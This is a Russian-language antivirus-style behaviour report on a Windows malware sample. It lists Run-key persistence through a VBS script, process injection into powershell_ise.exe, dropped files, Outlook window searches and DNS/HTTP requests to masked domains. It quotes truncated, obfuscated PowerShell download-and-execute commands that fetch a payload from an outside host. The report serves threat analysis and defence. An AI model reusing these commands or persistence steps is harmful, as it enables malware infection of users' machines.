Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '%APPDATA%\vh.vbs '
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $TRP='*.*-EX'.replace('*.*-','I'); sal Master $TRP;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://cl########.dominiotemporario.com/pc.txt'',$env:APPDATA+''\''...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = [char]73;$a2=[char]69;$a3=[char]88;sal K $a$a2$a3;$jhjhjgjguhyjhjhkjkjlklkjhjjghfgh=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,...
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\windowspowershell\v1.0\powershell_ise.exe
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\forms\frmdata64.dat
- %TEMP%\outlook logging\firstrun.log
- %WINDIR%\inf\outlook\outlperf.h
- %WINDIR%\inf\outlook\0009\outlperf.ini
- %APPDATA%\vh.vbs
Сетевая активность
TCP
Запросы HTTP GET
- http://cl########.dominiotemporario.com/pc.txt
- http://cl########.dominiotemporario.com/atc.jpg
UDP
- DNS ASK cl########.dominiotemporario.com
- DNS ASK ma####p.duckdns.org
Другое
Ищет следующие окна
- ClassName: 'mspim_wnd32' WindowName: 'Microsoft Outlook'
- ClassName: 'rencat' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%APPDATA%\vh.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%APPDATA%\vh.vbs '
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $TRP='*.*-EX'.replace('*.*-','I'); sal Master $TRP;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''http://cl########.dominiotemporario.com/pc.txt'',$env:APPDATA+''\''...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = [char]73;$a2=[char]69;$a3=[char]88;sal K $a$a2$a3;$jhjhjgjguhyjhjhkjkjlklkjhjjghfgh=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99,101,40,39,42,39,44,39,73,39,41,59,115,...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%APPDATA%\vh.vbs '' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\outlook.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell_ise.exe'
